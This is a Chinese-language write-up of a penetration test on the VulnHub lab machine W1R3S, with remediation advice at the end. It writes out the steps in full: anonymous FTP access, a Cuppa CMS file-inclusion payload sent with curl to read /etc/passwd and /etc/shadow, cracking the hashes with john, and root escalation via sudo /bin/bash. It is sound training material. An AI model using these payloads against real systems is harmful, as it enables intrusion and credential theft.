vulnhub靶场w1r3s,v1.0.1.靶机通关
w1r3s,v1.0.1.靶机通关记录报告通关日期2026.9.24难度Easy目标IP 本机虚拟机环境网卡192.168.4.158结果发现flag的获取一、执行摘要目标获得设计者藏在靶机中的flag信息文件攻击路径通过漏洞工具判断出漏洞路径和漏洞类型为文件包含类漏洞服务器存在垂直提权风险最危险的漏洞路径的代码存在文件包含漏洞和服务器用户权限分配不合理二、获得目标信息IP地址靶机地址192.168.4.158端口开放情况21 | ftp | open,22 | ssh | open ,80 | http | open ,3306 | mysql | open关键服务版本vsftpd 2.0.8及以上 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4Apache httpd 2.4.18操做系统最可能是Linux 3.10 - 4.11 (98%)之一三、漏洞清单序号漏洞程度121端口的ftp服务存在匿名登录较280端口的/administrator/路径存在泄露重4Cuppa CMS框架中的**/alerts/alertConfigField.php第22行**存在文件包含漏洞重5服务器用户权限存在27sudo权限重622端口存在弱口令漏洞可爆破密码重四、渗透过程1、信息收集nmap探测通过对本地环境的了解和探测的端口数量判断靶机地址192.168.4.158详细信息探测TCP协议探测sudonmap-sT192.168.4.158-oA./nmap/TCP# 获得基础的端口信息#通过指令赋值提权文件中的端口信息port$(grepopen./nmap/TCP.nmap|awk-F/{print $1}|paste-sd,)这里可以得到端口开放情况21/tcp open ftp22/tcp open ssh80/tcp open http3306/tcp open mysqlTCP的详细探测# 通过tcp协议探测V服务版本信息C默认安全脚本扫描O操做系统信息-p-(-p指定探测标准范围的端口-即1-65535之间)sudonmap-sT-sV-sC-O192.168.4.158 -p--oA./nmap/TCPO结果信息21端口是ftp服务版本vsftp3.0.3存在匿名登录的权限用户名为Anonymous这里推测存在文件泄露风险22端口远程连接运行版本penSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)这里登录需要用户和密码80web服务端口服务版本信息Apache/2.4.18 (Ubuntu)3306数据库服务端口这里登录也是需要用户名和密码信息最后是操做系统的可能性推测同步进行UDP探测#UDP扫描获得信息有限这里i之探测常用端口的前20个sudonmap-sU--top-port20192.168.4.158-oA./nmap/UDP*结果信息*返回大量未确定的端口一般UDP探测无具体可用的信息这里显示的都是系统运行的基础服务也进行漏洞脚本扫描# 默认脚本探测个端口漏洞sudonmap--scriptvuln -怕2122803306192.168.4.158-oN./nmap/vuln.nmap*结果信息*各种端口无任何突出信息重点是这里的80端口但提示存在DOS漏洞那这里就不是渗透要考虑的这个漏洞是服务器资源的问题这里的靶机是在虚拟机中的所以没必要试通过探测结果总结出以下信息和目标1️⃣重点考虑21端口的ftp的测试存在匿名登录的权限或许可以获得一些提示和信息呢2️⃣其次是80端口的wbe服务测试了这里是重点测试的端口3️⃣最后就是尝试22端口暴力破解3306估计是不太可能的了攻击方向的确定为21 | ftp➡️80 | http服务➡️22 | ssh和3306 | msyql2、立足点确定22端口测试直接使用匿名用户Anonymous登录ftp192.168.4.158# 登录ftp#之后输入匿名用户名Anonymous遇到密码直接回车即可查看可访问文件的结构ls-all# 查看所有文件文件信息pwd# 当前路径cd文件名# 进入文件夹cd ..#退回上级目录#总结了解到文件接结构-content-|--01.txt|--02.txt|--03.txt -docs-|--wprktodo.txt -new-employees-|--employee-names.txt依次将所有文件下载到本地mget *.txt#下载多个文件get file.txt#下载单个文件本地分析文档信息cat01.txt ……#查看文档内容New FTP Server For W1R3S.inc 01ec2d8fc11c493b25029fb1f47f39ceSXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg一行编码的字体类似于标志吧....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ The W1R3S.inc employee list Naomi.W - Manager Hector.A - IT Dept Joseph.G - Web Design Albert.O - Web Design Gina.L - Inventory Rico.D - Human Resources文档内容解读**一、**翻译 新的ftp服务器W1R3S.inc考虑新的服务器那就可能存在服务器配置不完善的缺陷问题了二、解读很明显这因该是一中加密的信息通过hash-identifier判断下是什么加密*结果判断*hash-identifier判断出这是MD5加密那就尝试解密啥也没有说**三、**这里的格式是base64的编码格式最明显的特点就是存在# base64解码-d指定为解码echoSXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg|base64-d*结果信息*啥也没说**四、**这是经过了左右反转和上下反转转译是字体通过在线的工具反转*结果:*两条信息都没有任何有用的提示五、这是一个员工列表那就可以考虑密码爆破的中用的用户名分析后面的职位重点关注HectorNaomi用户22端口信息总结这里得到当前服务器是新创建的可能存在服务器配置不太完善或是使用的系统补丁等存在漏洞缺陷危险有个员工列表HectorNaomi用户可以尝试构造用户名列表进行爆破80 端口测试通过靶机地址访问网站*结果信息*这是一个普通的服务器首页无任何可用信息查看页面源码看是否有可用的注释信息这里也没有发现那只能考虑是否有隐藏的特殊目录页面了进行目录扫描看看目录扫描sudogobusterdir-uhttp://192.168.4.158--wordlist/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt#指定扫描的字典*结果信息*存在三个跳转页面分别访问这里只有**/administrator/**目录可以访问好像是安装插件的管理页面页面的标题是Cuppa CMS那运行的框架或系统可能和这有关这里是安装特殊组件的界面那就要考虑到以下的内容了若是一台运行的服务器这里操做后是否会影响正常的运行呢若是一台运行的服务器这里的操做会影响到服务器信息吗开始测试这里发现只有next可以点击但是跳转后是数据库有关的内容填写内容发现无任何效果查看源码也是无任何发现那看看标题Cuppa CMS是否有可用信息浏览器关键字搜素Cuppa CMS*信息判断*有多条信息指向了服务器文件的信息这是一个开源的内容管理系统那源码应该是可以找到的#本地漏洞库看看是哦付有有关的漏洞searchsploit Cuppa CMS# 将漏洞文件下载到当前目录searchsploit-m25971.txt这里存在一个漏洞省去了漏洞的筛选操做漏洞利用查看漏洞文件cat 25971.txt结果总结这个漏洞是类似于文件包含的漏洞存在的路径是/alerts/alertConfigField.php第22行**# paylaod为http://target/cuppa/alerts/alertConfigField.php?urlConfig../../../../../../../../../etc/passwd#替换信息和目录后的paylaod为http://192.168.4.158/administrator/alerts/alertConfigField.php?urlConfig../../../../../../../../../etc/passwd*问题分析*首先这个路径是存在的若不存在的话会提示找不到资源那为什么会出现这个问题呢可能是哪个参数设置错误等问题吧那分析源码看看GitHub查看Cuppa CMS源码路径和关键字搜素发现这里的参数要通过POST传入而前面的操做是GET方式使用curl工具发送数据包# 查询curl有关url的参数设置curl-hall|grepurl#构造命令运行curl--data-urlencodeurlConfig../../../../../../../../../etc/passwdhttp://192.168.4.158/administrator/alerts/alertConfigField.phpcurl--data-urlencodeurlConfig../../../../../../../../../etc/shadowhttp://192.168.4.158/administrator/alerts/alertConfigField.php页面返回了数据其中的用户密码是X占位的那就访问shadow文件将shadow文件中含有哈希的用户保存下来通过john解密john 密码文件# 解密文件John--show密码文件# 查看已经解密的文件解密出了密码w1r3s:computer判断出80端口存在文件包含漏洞路径为/alerts/alertConfigField.php第22行paylaod可以为urlConfig../../../../../../../../../etc/shadow3、权限提升那使用ssh登录sshw1r3s192.168.4.158# 登录id#查看权限信息whoami# 查看当前用户*总结信息*当前用户不是root用户但存在sudo权限那可以垂直提权到root了# 直接通过sudo权限构造新的bash进程提权sudo/bin/bash提权成功到root4、flag获得在root目录下找到了flag.txt文件五、攻击链信息辅助用户名字典nmap 端口与服务探测开放 21/FTP · 22/SSH · 80/HTTP · 3306/MySQLFTP 匿名登录员工列表 · 提示文件Cuppa CMS LFI 漏洞POST 读取 /etc/shadowjohn 破解 shadow 哈希凭据 w1r3s:computer · 备选 hydra 爆破 SSHSSH 登录 w1r3s确认 sudo 权限可用sudo /bin/bash 提权 → root读取 /root/flag.txt · 目标达成阶段划分① 侦察 → ② 立足点含凭据获取→ ③ 垂直提权六、修复建议A 重度漏洞/administrator/ 安装路径泄露80 端口修复思路 虽然这个漏洞不是直接原因但由于找到这个路径后发现了CMS的指纹可以提高发现CMS指纹的难度和需要的技术**建议**1. 在安装完功能后删除或重命名2. 白名单限制可访问的IP地址3.添加基础认证后跳转显示B重度漏洞Cuppa CMS LFI 文件包含漏洞**修复建议**这是服务器系统被攻陷的主要漏洞问题存在是直接将前端传入的数据拼接未做过滤限制可以通过各种手段限制恶意内容的输入和防止被输入内容无法被程序执行**建议**1. 参数化处理前端传入的数据设置过滤2若必须加载外部文件设置白名单限制引用的文件3.将服务框架迁移到持续更新的CMS或打补丁C重点漏洞服务器用户存在sudo高权限**修复建议**删除服务器登录用户的sudo权限设置/bin/bash调用的权限注意特殊编辑器的类命令调用**建议**1. 遵循最小权限原则设置用户的权限2. 通过/bin/bash中的变量限制高权限进程的开启**D重点问题**ssh弱口令爆破22端口**修复建议**密码简单和认证方式单一非本地登录时限制IP**建议**1. 设置的密码要求12位以上混合字符2. 使用密钥认证3. 部署fail2ban 封禁爆破 IP限制来源 IP禁止 root 直接登录**E轻度漏洞**FTP匿名登录21端口**修复建议**禁止匿名登录若必须限制匿名用户的访问范围检索FTP中的文件删除或移除存在的敏感信息禁止用户的编辑防火墙限制IP来源**建议**1. 修改/etc/vsftpd.confanonymous_enableNO重启服务2. 若业务必须保留匿名访问write_enableNO禁写、chroot限定独立目录、剥离敏感文件并用防火墙限制来源 IP